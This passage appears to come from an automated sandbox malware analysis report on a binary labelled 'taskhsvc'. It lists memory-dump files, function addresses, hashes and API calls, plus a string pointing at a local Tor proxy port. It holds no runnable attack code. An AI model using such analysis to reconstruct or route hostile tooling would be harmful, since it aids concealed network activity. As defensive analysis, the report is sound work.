                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: Y"$Y"
                                                                                                                          • API String ID: 4216919130-1594966533
                                                                                                                          • Opcode ID: 5f13e0e864206067a3fb35f508f6e519eac0e3664d9b69879d6cae4d68eb515f
                                                                                                                          • Instruction ID: 7d51c384f63f7f3471a5ebc93e9c77a85d19a99bf597aa56c6b80982e8e18e1b
                                                                                                                          • Opcode Fuzzy Hash: 5f13e0e864206067a3fb35f508f6e519eac0e3664d9b69879d6cae4d68eb515f
                                                                                                                          • Instruction Fuzzy Hash: 59F07F78A01208AFCB40CFADEA8198DB7F2BB49310B159455E808E7311E330ED118F54
                                                                                                                          Function 00D4E0B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D4E04A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D4E0EC), ref: 00D4E0B0
                                                                                                                            • Part of subcall function 00D36005: __stack_chk_fail.LIBSSP-0 ref: 00D3605E
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D4E120
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: 127.0.0.1:9050$6
                                                                                                                          • API String ID: 4216919130-2827399594
                                                                                                                          • Opcode ID: b38c9cb6382099b739f15269e8c1a98ca354e2a61cd09600eb573d8693013c70
                                                                                                                          • Instruction ID: 75fbc9af42b7d30a0f1f4de3144bc7cd231d8cd094d99c47280315a220d356e3
                                                                                                                          • Opcode Fuzzy Hash: b38c9cb6382099b739f15269e8c1a98ca354e2a61cd09600eb573d8693013c70
                                                                                                                          • Instruction Fuzzy Hash: E4F0CDB4904308ABCB00DF55C58155EBBF4FF88354F01D51EE498A7300E775A951CF66
                                                                                                                          Function 00C1702E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C266DA), ref: 00C17097
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C17084
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: (
                                                                                                                          • API String ID: 1190921433-1647689960
                                                                                                                          • Opcode ID: 7408d758e4c706fbf5bbc5747efbc479d96ad909b7d99b84edc978232a42ceeb
                                                                                                                          • Instruction ID: b180b6af20b32fa4033dc2eb291bcc98622a400d1a752903217700d688943f7b
                                                                                                                          • Opcode Fuzzy Hash: 7408d758e4c706fbf5bbc5747efbc479d96ad909b7d99b84edc978232a42ceeb
                                                                                                                          • Instruction Fuzzy Hash: D9F01DB49043059FCB00EFA9D48649EBBF1AF45304F41D419A894EB301D778E991CFA2
                                                                                                                          Function 00D1A1C2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: UNKNOWN$`y
                                                                                                                          • API String ID: 4216919130-2590900795
                                                                                                                          • Opcode ID: 414244a91a72d46ba0684298393d1c2ae07c28c693b4cc8ad328b88763432c5b
                                                                                                                          • Instruction ID: 048f2dab0de0ad20adf0a9aae5a00d344d488d537e6e0f4073b04e40c2f1dd4b
                                                                                                                          • Opcode Fuzzy Hash: 414244a91a72d46ba0684298393d1c2ae07c28c693b4cc8ad328b88763432c5b
                                                                                                                          • Instruction Fuzzy Hash: EFF0F9B0A082059FDB00EF99C44255EBBF0EB89344F11D458E4D8AB300D374E9468F95
                                                                                                                          Function 00BFA103 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BFA6FD
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
